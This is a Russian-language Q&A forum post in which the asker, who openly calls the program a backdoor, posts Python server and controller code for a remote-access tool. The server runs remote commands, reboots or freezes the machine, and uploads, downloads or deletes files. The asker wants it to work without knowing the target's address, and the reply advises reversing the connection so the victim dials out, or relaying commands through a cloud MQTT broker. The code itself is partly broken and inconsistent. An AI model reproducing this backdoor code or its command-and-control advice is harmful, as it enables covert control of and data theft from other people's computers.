Как сделать подключение к сети в моем коде
У меня есть что-то типа бэкдора (сервер) и клиент, с которого идет управление. Я хочу, чтобы это могло работать без необходимости знать ip и порт сервера.
вот код сервера :
import os
import socket
import json
import subprocess
import threading
import time
import ctypes
import shutil # Для создания резервных копий
SERVER_IP = '0.0.0.0' # IP сервера
SERVER_PORT = 5555
def reliable_send(data):
json_data = json.dumps(data) + '\0' # Завершение сообщения
target_sock.sendall(json_data.encode())
def reliable_recv():
data = ''
while True:
try:
part = target_sock.recv(1024).decode()
if not part:
break
data += part
if data.endswith('\0'): # Ожидание завершения сообщения
return json.loads(data[:-1])
except ValueError:
continue
# Открытие приложения
def open_application(app_path):
try:
subprocess.Popen(app_path)
reliable_send(f"Application opened: {app_path}")
except Exception as e:
reliable_send(f"Error opening application: {e}")
# Создание резервной копии
def backup(source, backup_path):
try:
if os.path.exists(source):
if os.path.isdir(source):
shutil.make_archive(backup_path, 'zip', source)
else:
shutil.copy2(source, backup_path)
reliable_send(f"Backup created from {source} to {backup_path}")
else:
reliable_send("Source path does not exist.")
except Exception as e:
reliable_send(f"Error creating backup: {e}")
# Восстановление из резервной копии
def restore(backup_path, destination):
try:
if os.path.exists(backup_path):
if backup_path.endswith('.zip'):
shutil.unpack_archive(backup_path, destination)
else:
shutil.copy2(backup_path, destination)
reliable_send(f"Restored from {backup_path} to {destination}")
else:
reliable_send("Backup path does not exist.")
except Exception as e:
reliable_send(f"Error restoring backup: {e}")
# Перезагрузка системы
def reboot_system():
try:
subprocess.run(["shutdown", "/r", "/t", "1"], check=True) # Перезагрузка через 1 секунду
reliable_send("System is rebooting...")
except Exception as e:
reliable_send(f"Error rebooting system: {e}")
# Зависание системы
def freeze_system(seconds):
try:
reliable_send(f"System will freeze for {seconds} seconds...")
end_time = time.time() + seconds
while time.time() < end_time: # Зацикливание на указанное время
pass
reliable_send("System has unfrozen.")
except Exception as e:
reliable_send(f"Error freezing system: {e}")
# Вывод сообщения на экран
def show_message(message):
try:
ctypes.windll.user32.MessageBoxW(0, message, "Message", 1) Windows API
reliable_send("Message displayed.")
except Exception as e:
reliable_send(f"Error displaying message: {e}")
def show_image(image_path):
try:
ctypes.windll.user32.ShellExecuteW(0, "open", image_path, None, None, 1) # Открытие изображения
reliable_send("Image displayed.")
except Exception as e:
reliable_send(f"Error displaying image: {e}")
def upload_file(filename):
try:
with open(filename, 'wb') as file:
target_sock.settimeout(1)
chunk = target_sock.recv(1024)
while chunk:
file.write(chunk)
try:
chunk = target_sock.recv(1024)
except socket.timeout:
break
target_sock.settimeout(None)
reliable_send(f'Successfully uploaded {filename}')
except Exception:
reliable_send('Error uploading file.')
def download_file(filename):
try:
with open(filename, 'rb') as file:
target_sock.sendall(file.read())
except Exception:
reliable_send('Error downloading file.')
def delete_file(filename):
try:
os.remove(filename)
reliable_send(f'Successfully deleted {filename}')
except Exception:
reliable_send('Error deleting file.')
def handle_client(target_sock):
while True:
command = reliable_recv()
if command == 'exit':
break
elif command[:8] == 'open ':
app_path = command[5:]
open_application(app_path)
elif command[:7] == 'backup ':
parts = command[7:].split(' ', 1)
source = parts[0]
backup_path = parts[1]
backup(source, backup_path)
elif command[:7] == 'restore ':
parts = command[7:].split(' ', 1)
backup_path = parts[0]
destination = parts[1]
restore(backup_path, destination)
elif command == 'reboot':
reboot_system()
elif command[:6] == 'freeze':
seconds = int(command[7:])
freeze_system(seconds)
elif command[:8] == 'showmsg':
message = command[9:]
show_message(message)
elif command[:8] == 'showimg':
image_path = command[9:]
show_image(image_path)
# Обработка остальных команд
# Код для инициализации сервера
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.bind((SERVER_IP, SERVER_PORT))
print('[+] Listening For Incoming Connections')
server_sock.listen(5)
while True:
target_sock, target_ip = server_sock.accept()
threading.Thread(target=handle_client, args=(target_sock,)).start()
вот код клиента :
import socket
import json
import time
SERVER_IP = ' ' # IP сервера
SERVER_PORT = 5555
history = []
def reliable_send(data):
json_data = json.dumps(data) + '\0' # Завершение сообщения
target_sock.sendall(json_data.encode())
def reliable_recv():
data = ''
while True:
try:
part = target_sock.recv(1024).decode()
if not part:
break
data += part
if data.endswith('\0'): # Ожидание завершения сообщения
return json.loads(data[:-1])
except ValueError:
continue
def connection():
while True:
try:
target_sock.connect((SERVER_IP, SERVER_PORT))
print("Connected to server.")
break
except Exception as e:
print(f"Failed to connect, retrying...: {e}")
time.sleep(5)
def shell():
print("Available commands:")
print("1. help - Show this help message")
print("2. cd <directory> - Change current directory")
print("3. clear - Clear the terminal")
print("4. list - Show files in current directory")
print("5. download <filename> - Download file from remote")
print("6. upload <filename> - Upload file to remote")
print("7. exec <command> - Execute command on remote")
print("8. exit - Close connection")
print("9. history - Show command history")
print("10. delete <filename> - Delete file on remote")
print("11. list_processes - List currently running processes")
print("12. kill <process_id> - Terminate a process")
print("13. copy <source> <destination> - Copy file on remote")
print("14. move <source> <destination> - Move/Rename file on remote")
print("15. mkdir <directory> - Create a new directory")
print("16. fileinfo <filename> - Get file info (size, modification date)")
print("17. createfile <filename> - Create a new empty text file")
print("18. writefile <filename> <text> - Write text to a file")
print("19. readfile <filename> - Read contents of a file")
print("20. restart <process_name> - Restart a process")
print("21. reboot - Reboot the remote computer")
print("22. freeze <seconds> - Freeze the computer for specified seconds")
print("23. showmsg <message> - Display a message on the screen")
print("24. showimg <image_path> - Display an image file")
print("25. open <app_path> - Open an application")
print("26. backup <source> <backup_path> - Create a backup")
print("27. restore <backup_path> <destination> - Restore from backup")
print("28. killapp <app_name> - Kill all instances of the specified application")
while True:
command = input('* Shell~: ')
if command:
history.append(command)
reliable_send(command)
if command == 'exit':
break
elif command == 'history':
for idx, cmd in enumerate(history):
print(f"{idx + 1}: {cmd}")
elif command == 'help':
shell() # Повторный вывод списка команд
else:
try:
result = reliable_recv()
print(result)
except Exception as e:
print(f"Error receiving data: {e}")
target_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
shell()
Ответы (1 шт):
Автор решения: eri
→ Ссылка
Нужно или поменять клиентский и серверный сокет местами. Тогда управляемый комп сам подключается к тому кто им управляет.
Или использовать сигнальный сервер, который будет транслировать команды с клиента управляющего на клиента управляемого. Например гдето видел можно взять облачный mqtt брокер бесплатно.